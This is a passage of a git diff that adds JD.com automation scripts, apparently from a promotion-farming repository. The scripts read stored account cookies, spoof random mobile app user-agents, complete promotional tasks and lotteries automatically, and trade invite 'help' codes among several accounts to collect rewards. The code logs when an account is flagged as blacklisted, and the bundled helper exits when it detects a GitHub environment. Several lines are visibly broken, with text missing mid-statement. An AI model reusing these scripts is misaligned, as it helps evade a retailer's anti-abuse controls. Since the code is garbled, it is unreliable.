t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_productZ4Brand.js b/jd_productZ4Brand.js new file mode 100644 index 0000000..eba1e58 --- /dev/null +++ b/jd_productZ4Brand.js @@ -0,0 +1,359 @@ +/** + 特务Z + 脚本没有自动开卡,会尝试领取开卡奖励 + cron 23 8,9 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_productZ4Brand.js + 一天要跑2次 + */ +const $ = new Env('特务Z'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + await $.wait(1000); + } + if($.allInvite.length > 0 ){ + console.log(`\n开始脚本内互助\n`); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(!useInfo[$.UserName]){ + continue; + } + $.encryptProjectId = useInfo[$.UserName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ + continue; + } + $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; + console.log(`\n${$.UserName},去助力:${$.code}`); + await takeRequest('help'); + await $.wait(1000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('superBrandSecondFloorMainPage'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + return ; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); + $.taskList = []; + await takeRequest('superBrandTaskList'); + await $.wait(1000); + await doTask(); + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } +} +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 7){ + console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); + }else{ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + } + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; + if(subInfo && subInfo[0]){ + $.runInfo = subInfo[0]; + }else{ + $.runInfo = {'itemId':null}; + } + await takeRequest('superBrandDoTask'); + await $.wait(1000); + $.runFlag = true; + }else if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0, + 'max':true, + 'encryptAssignmentId':$.oneTask.encryptAssignmentId + }); + } else if($.oneTask.assignmentType === 5) { + let signList = $.oneTask.ext.sign2 || []; + if (signList.length === 0) { + console.log(`任务:${$.oneTask.assignmentName},信息异常`); + } + //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { + for (let j = 0; j < signList.length; j++) { + if (signList[j].status === 1) { + console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); + let itemId = signList[j].itemId; + $.runInfo = {'itemId':itemId}; + await takeRequest('superBrandDoTask'); + await $.wait(3000); + } + } + //} + } + } +} +async function takeRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'superBrandSecondFloorMainPage': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode == 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + console.log(JSON.stringify(data)); + break; + + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else if (data.code === '0' && data.data.bizCode === '103'){ + console.log(`助力已满`); + $.codeInfo.time = 3; + }else if (data.code === '0' && data.data.bizCode === '2001'){ + $.canHelp = false; + console.log(`黑号`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + return {url: url, headers: headers,body:``}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_qqxing.js b/jd_qqxing.js new file mode 100644 index 0000000..b89fe79 --- /dev/null +++ b/jd_qqxing.js @@ -0,0 +1,663 @@ +/* +星系牧场 +活动入口:QQ星儿童牛奶京东自营旗舰店->品牌会员->星系牧场 +每次都要手动打开才能跑 不知道啥问题 +号1默认给我助力,后续接龙 2给1 3给2 + 19.0复制整段话 http:/J7ldD7ToqMhRJI星系牧场养牛牛,可获得DHA专属奶!%VAjYb8me2b!→去猄倲← +[task_local] +#星系牧场 +1 0-23/2 * * * jd_qqxing.js +*/ +const $ = new Env('QQ星系牧场'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "" + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i 星系牧场\n\n吹水群:https://t.me/wenmouxx`); +// } else { +// $.msg($.name, "", '星系牧场' + message) +// } +// } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +// 更新cookie + +function updateCookie (resp) { + if (!oc(() => resp.headers['set-cookie'])){ + return + } + let obj = {} + let cookieobj = {} + let cookietemp = cookie.split(';') + for (let v of cookietemp) { + const tt2 = v.split('=') + obj[tt2[0]] = v.replace(tt2[0] + '=', '') + } + for (let ck of resp['headers']['set-cookie']) { + const tt = ck.split(";")[0] + const tt2 = tt.split('=') + obj[tt2[0]] = 